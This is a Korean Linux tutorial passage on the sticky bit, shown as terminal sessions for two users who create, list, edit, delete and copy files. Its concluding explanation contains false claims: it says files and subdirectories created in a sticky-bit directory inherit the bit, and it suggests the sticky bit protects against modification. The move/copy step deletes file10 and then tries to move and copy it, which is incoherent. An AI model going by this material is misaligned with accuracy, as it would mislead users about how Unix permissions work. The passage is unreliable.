file10이라는 파일을 생성합니다:

$ echo 1111 > file10

stickybit 디렉토리 안에 file2라는 파일을 생성합니다:

$ echo 2222 > stickybit/file2

user01이 소유한 파일 목록을 출력합니다:

$ ls -l | grep user01
-rw-rw-r--. 1 user01 user01  5  6월 26 12:02 file10
drwxrwxr-x. 2 user01 user01 19  6월 26 12:02 stickybit

[TERM2] fedora 사용자 터미널

아래는 Fedora 사용자 터미널에서 실행할 수 있는 명령어입니다. 이 명령어들을 실행하여 다양한 작업을 수행할 수 있습니다.

로그인하기

# ssh fedora@localhost

위 명령어를 사용하여 Fedora 사용자로 로그인합니다.

사용자 ID 확인하기

$ id

위 명령어를 실행하면 현재 로그인한 사용자의 ID를 확인할 수 있습니다.

디렉토리 생성하기

$ cd /tmp
$ mkdir linux

위 명령어를 실행하면 /tmp 디렉토리에 linux 디렉토리를 생성합니다.

파일 생성하기

$ echo 3333 > file3
$ echo 4444 > linux/file4

위 명령어를 실행하면 file3와 file4라는 파일을 만듭니다. file3에는 3333이라는 내용이, linux 디렉토리 안의 file4에는 4444라는 내용이 들어갑니다.

파일 정보 확인하기

$ ls -l | grep fedora

위 명령어를 실행하면 현재 디렉토리의 파일들의 정보 중에서 소유자가 'fedora'인 파일들의 정보만을 보여줍니다.

파일 수정하기

$ vi file3
($ echo 4444 >> file3 )

위 명령어를 실행하면 file3를 vi 편집기로 열게 됩니다. 그리고 4444라는 새로운 라인을 추가하게 됩니다.

파일/디렉토리 삭제하기

$ rm -rf linux
$ rm file3

위 명령어를 실행하면 linux 디렉토리를 삭제하고 file3를 삭제합니다.

파일/디렉토리 이동 및 복사하기

$ ls -l file10
$ rm file10
$ mv file10 file2
$ cp file10 file2
$ ls -l file10 file2

위 명령어를 실행하면 file10이라는 파일을 삭제하거나 file10을 file2로 이동/복사합니다. 그리고 file10과 file2의 정보를 출력합니다.

[결론] 자신이 소유권을 가지지 않은 파일을 수정하려는 경우, 원본 파일을 직접 수정할 수 없습니다. 이러한 경우 Sticky bit를 사용하여 보호할 수 있습니다. Sticky bit는 Unix/Linux 계열 운영체제에서 특별한 권한 중 하나입니다. Sticky bit가 설정된 디렉토리나 파일은 그 안에 있는 파일이나 하위 디렉토리들이 삭제되거나 이동되지 않도록 보호됩니다.

Sticky bit 권한을 설정하는 방법은 다음과 같습니다.

- chmod 명령어를 사용하여 Sticky bit 권한을 설정할 파일이나 디렉토리를 선택합니다.

- Sticky bit 권한이 설정된 파일이나 디렉토리에서 새로운 파일을 생성하면, 이 파일은 Sticky bit 권한을 상속받습니다.

- Sticky bit 권한이 설정된 파일이나 디렉토리에 새로운 하위 디렉토리를 생성하면, 이 디렉토리는 Sticky bit 권한을 상속받습니다.

- Sticky bit 권한이 설정된 디렉토리에서 파일이나 디렉토리를 삭제하려면, 해당 파일이나 디렉토리의 소유자 또는 root 계정만이 삭제할 수 있습니다.

따라서 Sticky bit 권한을 효과적으로 사용하여 파일 및 디렉토리를 보호할 수 있습니다.

반응형